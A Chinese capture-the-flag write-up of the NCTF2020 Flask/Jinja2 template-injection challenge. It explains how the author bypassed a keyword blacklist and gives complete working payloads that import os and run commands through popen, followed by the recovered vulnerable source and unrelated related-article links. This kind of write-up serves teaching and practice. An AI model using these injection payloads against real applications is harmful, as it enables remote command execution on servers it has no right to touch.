NCTF2020 web 你就是我的master吗
周末水了一题 之前ssti的题都是直接用网上payload改的,这题由于环境差异 自己过了一遍流程 白嫖惯了还挺不习惯的 哈哈
页面内容随name参数值而改变,根据容器名称猜测为flask/jinjia2框架模板注入,验证确认为模板注入
用burp fuzz 下过滤了什么特殊符号class base mro config args init global等常用关键字也被过滤
Bypass就行 ’ 单引号用 " 双引号代替,_ 下划线用16进制的 \x5f 代替 . 点符号以及关键字被过滤用拼接绕过如[“cla”+“ss”]
?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()}}
找他的基类(object)的子类,这里没有file无法读取文件(python3中并没有file类),选择通过warnings.catch_warnings
类执行命令
__subclasses__().index(warnings.catch_warnings)
本可以通过index直接获取这个类的位置但这过滤太多,大致估一下位置搜索对照一下,得到位置为167
获取位置后在用__global__
看看该模块有哪些global函数
?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["keys"]()}}
python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在__builtins__
得到
为了执行命令需要调用os模块
?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["\x5F\x5fbuil"+"tins\x5f\x5f"]["\x5F\x5fim"+"port\x5f\x5f"]("os")}}
Python3.6的版本 用system函数执行命令
?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["\x5F\x5fbuil"+"tins\x5f\x5f"]["\x5F\x5fim"+"port\x5f\x5f"]("os")["sys"+"tem"]("whoami")}}
成功执行但是system函数没回显 本来是想弹个shell或者curl发送数据到vps上的,测试vps能收到 能通外网,但过滤太多了都用不了参数
还好用popen("dir").read()
有回显
最终payload:
?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["\x5F\x5fbuil"+"tins\x5f\x5f"]["\x5F\x5fim"+"port\x5f\x5f"]("os")["popen"]("cat wo*")["read"]()}}
去掉bypas的部分其实就是下面这个:
[].__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']("os").popen("dir").read()
顺便扒了源码
from jinja2 import Templateapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'guest')blacklist = ['%','-',':','+','class','base','mro','_','config','args','init','global','.','\'','req','|','attr','get']for i in blacklist:if i in name:return Template('你真是个小可爱').render()t = Template("早安,打工人<br/>你就是我的" + name + "吗?<br/><!-- ?name=master -->")return t.render()if __name__ == "__main__":
app.run()
NCTF2020 web 你就是我的master吗相关推荐
- php libtool,web/libtool.zh.php at master · fink/web · GitHub
$title = "移植 - libtool"; $cvs_author = 'Author: gecko2'; $cvs_date = 'Date: 2012/11/11 15: ...
- Web.config配置文件详解(新手必看)
Web.config配置文件详解(新手必看) 花了点时间整理了一下ASP.NET Web.config配置文件的基本使用方法.很适合新手参看,由于Web.config在使用很灵活,可以自定义一些节点. ...
- k8s多节点仪表盘(web界面)部署与谷歌浏览器访问k8s仪表盘问题解决!
文章目录 k8s的WEB界面部署 两个master节点检查pod资源是否正常 master节点上创建dashboard工作目录,并拷贝部署web界面所需的文件到指定目录 创建资源(顺序不可以乱) 谷歌 ...
- .NET编程-----------------------Web.config配置文件详解
<?xml version="1.0"?> <!--注意: 除了手动编辑此文件以外,您还可以使用 Web 管理工具来配置应用程序的设置.可以使用 Visual S ...
- [网络收集]Web.config配置文件详解
摘录自:http://hi.baidu.com/fanfanwuji/blog/item/a7fd8928d49a7ef098250a06.html 花了点时间整理了一下ASP.NET Web.con ...
- Asp.net中web.config配置文件详解
转载地址:http://blog.csdn.net/hbqhdlc/article/details/8164521 web.config是一个XML文件,用来储存Asp.NET Web应用程序的配置信 ...
- Spark源码分析之Master启动和通信机制
Master主要就是用于管理集群,负责资源的调度什么的.它继承了ThreadSafeRpcEndpoint和LeaderElectable,由于继承ThreadSafeRpcEndpoint,所以Ma ...
- 使用Fluent NHibernate和AngularJS的Master Chef(第1部分)ASP.NET Core MVC
目录 介绍 Master Chef Recipe数据模型UML 在Visual Studio 2015更新3中创建MasterChef应用程序 添加Fluent NHibernate数据模型 1)安装 ...
- java 庖丁解牛api_重磅|庖丁解牛之——Flutter for Web
原标题:重磅|庖丁解牛之--Flutter for Web 概述 在2018年冬的Flutter 1.0伦敦发布会上,Flutter的产品经理Tim Sneath通过一个滑动拼图的例子介绍了如何让Fl ...
最新文章
- 这个新方法,竟然能检测 Python 代码的好坏!
- 圆环,扇形控件基本算法一种实现 - 代码库 - CocoaChina_让移动开发更简单
- mysql 上级组织参数值_MySQL参数group_replication_consistency说明
- 三星电子推出X-net架构用于语音通话
- freemarker常见语法大全
- 简单链接Simplelink 传感器标签SensorTag
- 连接mysql数据库2013_使用VS2013 + EF6 + .NET4.5 连接Mysql数据库
- 【渝粤题库】广东开放大学 电子商务安全与支付 形成性考核
- CCF推荐各种国际学术会议和期刊目录
- ubuntu安装Redis+安装mysql(配置远程登录)+安装jdk+安转nginx+安转teamviewer+安装terminator+安装sublime
- 2020年A股IPO市场全景回顾与2021年前景展望报告
- Eclipse — 如何恢复Eclipse中被误删除的文件
- 迅通雾霾处理技术为清晰都市保驾护航
- 安装 Tableau Desktop 时出现“0x80070109”错误以及Tableau Desktop破解
- 暴雪游戏登录html代码,官方平台账号绑定暴雪游戏通行证!
- 记一次联想Y7000P安装黑apple系统地经历
- [系统安全] 逆向工程进阶篇之对抗逆向分析
- html音乐播放心得体会,听音乐讲座心得体会范文3篇
- 自动驾驶什么时候才会凉凉,估计还要多久?
- lambda演算感想之规则